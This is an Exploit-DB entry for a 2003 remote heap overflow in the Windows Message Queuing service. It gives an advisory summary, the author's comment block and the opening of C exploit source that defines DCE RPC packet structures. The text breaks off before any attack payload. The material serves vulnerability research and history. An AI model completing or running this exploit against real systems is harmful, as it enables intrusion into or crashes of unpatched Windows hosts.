Exploit-DB #23229
Description: Microsoft Windows XP/2000/2003 - Message Queuing Service Heap Overflow
Type: remote
Platform: windows
Date: 2003-10-07
Author: DaveK

Exploit:
source: https://www.securityfocus.com/bid/8783/info

It has been reported that the Microsoft Message Queuing service is prone to a heap overflow. The Symantec DeepSight analyst team is currently analyzing proof-of-concept exploit code for this issue. This record will be updated as further information becomes available.


/*

     A demonstration of the bug alluded to by Jim Allchin in his efforts to
  explain how appallingly badly coded some of the work on Micro$oft's
  enterprise-critical technologies truly is.  See

  http://www.eweek.com/article2/0,3959,5264,00.asp

  for details.

  <quote>
  "The fact that I even mentioned the Message Queuing thing bothers me," he 
said.
  </quote>

  Well, it shouldn't really.  It only took half-an-hour's work to find this 
bug;
  multiply that by time wasted on perhaps experimenting with a dozen or so 
of
  the other M$ apis and you'll see that even without the hint, it wouldn't 
have
  been hard to find; and of course, many of those other apis have their own
  problems.  Not disclosing it would have prevented absolutely nothing; 
trying
  to send a long string to a search-by-name function is just so completely
  obvious that secrecy gets you nowhere.  YOU CAN'T HIDE ANYTHING FROM AN
  INQUIRING MIND WITH A PACKET SNIFFER.[*]


      (K) All Rites Reversed       -      Anti-copyright DaveK Oct 2003
        Use as you will.  Everything is possible and nothing is real.
                Please send improvements, bugfixes or ideas to
       blah spam               davek AT                 hahaparse this
       nospambots    redneck dot gacracker dot org      you harvesters

  [*] - This offer void where prohibited by law, or strong crypto.

*/


#include <Winsock2.h>
#include <stdio.h>

#pragma comment (lib, "ws2_32.lib")

// Standard typedefs and structs from the Open Group's
// "Technical Standard DCE 1.1: Remote Procedure Call",
// [Document Number C706]

typedef unsigned char uchar;
typedef UUID    uuid_t;
typedef unsigned short p_context_id_t;
typedef struct {
    uuid_t  if_uuid;
    unsigned long if_version;
} p_syntax_id_t;

typedef struct {
    p_context_id_t  p_cont_id;
    unsigned char   n_transfer_syn;   /* number of items */
    unsigned char   reserved;         /* alignment pad, m.b.z. */
    p_syntax_id_t   abstract_syntax;  /* transfer syntax list */
    p_syntax_id_t   transfer_syntaxes[1];
} p_cont_elem_t;

typedef struct {
    unsigned char n_context_elem;   /* number of items */
    unsigned char reserved;         /* alignment pad, m.b.z. */
    u_short       reserved2;        /* alignment pad, m.b.z. */
    p_cont_elem_t p_cont_elem[1];
} p_cont_list_t;

//  Here's the connectionless rpc pdu header.
typedef struct {
    unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB 
only)*/
    unsigned char ptype;            /* Packet type (5 LSB only) */
    unsigned char flags1;           /* Packet flags */
    unsigned char flags2;           /* Packet flags */
    char drep[3];                   /* Data representation format label */
    unsigned char serial_hi;        /* High char of serial number */
    uuid_t object;                  /* Object identifier */
    uuid_t if_id;                   /* Interface identifier */
    uuid_t act_id;                  /* Activity identifier */
    unsigned long server_boot;      /* Server boot time */
    unsigned long if_vers;          /* Interface version */
    unsigned long seqnum;           /* Sequence number */
    unsigned short opnum;           /* Operation number */
    unsigned short ihint;           /* Interface hint */
    unsigned short ahint;           /* Activity hint */
    unsigned short len;             /* Length of packet body */
    unsigned short fragnum;         /* Fragment number */
    unsigned char auth_proto;       /* Authentication protocol identifier*/
    unsigned char serial_lo;        /* Low char of serial number */
} dc_rpc_cl_pkt_hdr_t;

/* common header for all connection-oriented pdus  */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    unsigned char rpc_vers;  // = 5; /* 00:01 RPC version */
    unsigned char rpc_vers_minor;    /* 01:01 minor version */
    unsigned char PTYPE;             /* 02:01 PDU type */
    unsigned char pfc_flags;         /* 03:01 flags */
    char          packed_drep[4];    /* 04:04 NDR data rep format label*/
    unsigned short frag_length;      /* 08:02 total length of fragment */
    unsigned short auth_length;      /* 10:02 length of auth_value */
    unsigned long call_id;           /* 12:04 call identifier */
    /* end common fields */
} rpcconn_common_hdr_t;

/* bind header (PTYPE = 11) */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    rpcconn_common_hdr_t  pdu_hdr;
    /* end common fields */
    unsigned short max_xmit_frag;    /* 16:02 max transmit frag size, bytes 
*/
    unsigned short max_recv_frag;    /* 18:02 max receive frag size, bytes 
*/
    unsigned long assoc_group_id;    /* 20:04 incarnation of client-server
    * assoc group */
    /* presentation context list */
    p_cont_list_t p_context_elem;    /* 24:?? variable size */
  // We don't bother to capture auth info yet.
    /* optional authentication verifier */
    /* following fields present iff auth_length != 0 */
    /* auth_verifier_co_t auth_verifier; */
} rpcconn_bind_hdr_t;

/* request header (PTYPE = 0) */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    rpcconn_common_hdr_t  pdu_hdr;
    /* end common fields */
    /* needed on request, response, fault */
    unsigned long alloc_hint;             /* 16:04 allocation hint */
    p_context_id_t p_cont_id;             /* 20:02 pres context, i.e. data 
rep */
    unsigned short opnum;                 /* 22:02 operation #
    * within the interface */
    /* op